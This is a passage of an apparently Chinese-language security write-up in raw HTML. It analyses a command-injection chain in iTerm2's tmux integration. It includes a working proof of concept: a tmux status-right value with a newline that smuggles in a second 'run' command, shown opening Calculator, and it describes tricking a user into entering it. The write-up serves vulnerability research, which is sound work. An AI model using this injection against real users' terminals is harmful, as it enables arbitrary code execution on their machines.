inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_gateway sendCommand</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">command responseTarget</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> responseSelector</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="lit" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">@selector</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">handleStatusrightValueExpansionResponse</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:)];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">escapedString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:(</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*)</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[[</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> stringByReplacingOccurrencesOfString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\\&#34;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> withString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\\\\&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                    stringByReplacingOccurrencesOfString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\&#34;&#34;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> withString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\\\&#34;&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">根据原文当中的提示，需要用户运行一些无危害的命令，而这个无危害的命令应该就是对 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">status</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">right</span></code>进行赋值：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tmux </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">set</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">option </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">g status</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">right </span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;[#S]&#34;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">这里便是攻击的Source点了，第一次 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">display</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">message</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">p</span><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">&#34;#{status-right}&#34;</span></code>,返回&#34;[#S]&#34;,然后将其拼接入第二次 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">display</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">message</span></code>-- <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">display</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">message</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">p</span><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">&#34;[#S]&#34;</span></code>,但是根据资料，以及测试，并没有办法一行执行多条语句，并且由于转义无法逃逸出双引号的包裹，此时不由的想到了CRLF。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">根据文档得知 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">run</span></code>可以运行程序，尝试在Server console中执行命令：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">display </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">p </span><span class="lit" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">run </span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;open /Applications/Calculator.app&#39;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-s="300,640" style="" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0d85177d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMfucAoWNqicftEsbWAmhtSZbOBKuNfziaIc7nFkricSVwScl7eTX5mZCyg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">可以看到，两条语句都成功执行。接下来测试第一条语句错误，第二条语句是否会执行:<br/></p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">display </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">p </span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;1</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">run &#39;open /Applications/Calculator.app&#39;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">此时，第一条命令并没有闭合，所以无法执行，但第二条语句还是成功执行了</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.79375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6786634b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMapmnLCP8U5icmpeTukWtGEgkvzWf2Tv6QcbG4V74913OYeftu6iaBETQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">此时，攻击链就完整了。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">首先欺骗用户输入：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tmux </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">set</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">option </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">g status</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">right </span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;#{?window_bigger,[#{window_offset_x}#,#{window_offset_y}] ,}\&#34;\&#34;#{=21:pane_title}\&#34; %H:%M %d-%b-%y</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">run &#39;open /Applications/Calculator.app&#39;#&#34;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">在启动Tmux的时候，由于Status Bars需要轮询Tmux的 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">status</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">right</span></code>，用于更新Iterm2的显示，所以会自动触发上述漏洞链，造成代码执行：</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.74296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f4b8f14d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMWGEbxevmoYeV4I0yicbasut5oLTeSneNpqoMGicVx0A8jK6hZl3xMQxg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">至此，起码是命令执行了。这样的利用链不止一条，除了 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">status</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">right</span></code>以外， <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">status</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: 